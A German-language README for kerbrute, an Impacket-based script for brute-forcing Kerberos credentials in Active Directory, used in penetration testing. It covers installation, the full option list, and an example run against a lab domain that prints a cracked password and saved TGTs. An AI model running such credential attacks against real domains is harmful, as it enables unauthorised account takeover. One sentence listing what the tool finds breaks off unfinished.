tarlogicsecurity/kerbruteEin Skript zur Durchführung von Kerberos-Brute-Force mittels Impacket.
Ein Skript zur Durchführung von Kerberos-Brute-Force-Angriffen unter Verwendung der Impacket-Bibliothek.
Wenn es ausgeführt wird, erhält es als Eingabe einen Benutzer oder eine Liste von Benutzern und ein Passwort oder eine Liste von Passwörtern. Dann führt es einen Brute-Force-Angriff durch, um Folgendes zu ermitteln:
Als Ergebnis erzeugt das Skript eine Liste der gefundenen gültigen Anmeldedaten sowie die aufgrund dieser gültigen Anmeldedaten generierten TGTs.
Von pypi:
pip3 install kerbrute
Aus dem Repository:
git clone https://github.com/TarlogicSecurity/kerbrute
cd kerbrute
pip install -r requirements.txt
Hilfe ohne Argumente:
root@kali:~# kerbrute
Impacket v0.9.18 - Copyright 2018 SecureAuth Corporation
usage: kerbrute.py [-h] [-debug] (-user USER | -users USERS)
[-password PASSWORD | -passwords PASSWORDS] -domain DOMAIN
[-dc-ip <ip_address>] [-threads THREADS]
[-outputfile OUTPUTFILE] [-no-save-ticket]
optional arguments:
-h, --help show this help message and exit
-debug Turn DEBUG output ON
-user USER User to perform bruteforcing
-users USERS File with user per line
-password PASSWORD Password to perform bruteforcing
-passwords PASSWORDS File with password per line
-domain DOMAIN Domain to perform bruteforcing
-dc-ip <ip_address> IP Address of the domain controller
-threads THREADS Number of threads to perform bruteforcing. Default = 1
-outputfile OUTPUTFILE
File to save discovered user:password
-no-save-ticket Do not save retrieved TGTs with correct credentials
Beispiele:
./kerbrute.py -users users_file.txt -passwords passwords_file.txt -domain contoso.com
Beispiel einer Ausführung:
root@kali:~# kerbrute -domain jurassic.park -users users.txt -passwords passwords.txt -outputfile jurassic_passwords.txt
Impacket v0.9.18 - Copyright 2018 SecureAuth Corporation
[*] Stupendous => triceratops:Sh4rpH0rns
[*] Saved TGT in triceratops.ccache
[*] Valid user => velociraptor [NOT PREAUTH]
[*] Valid user => trex
[*] Saved discovered passwords in jurassic_passwords.txt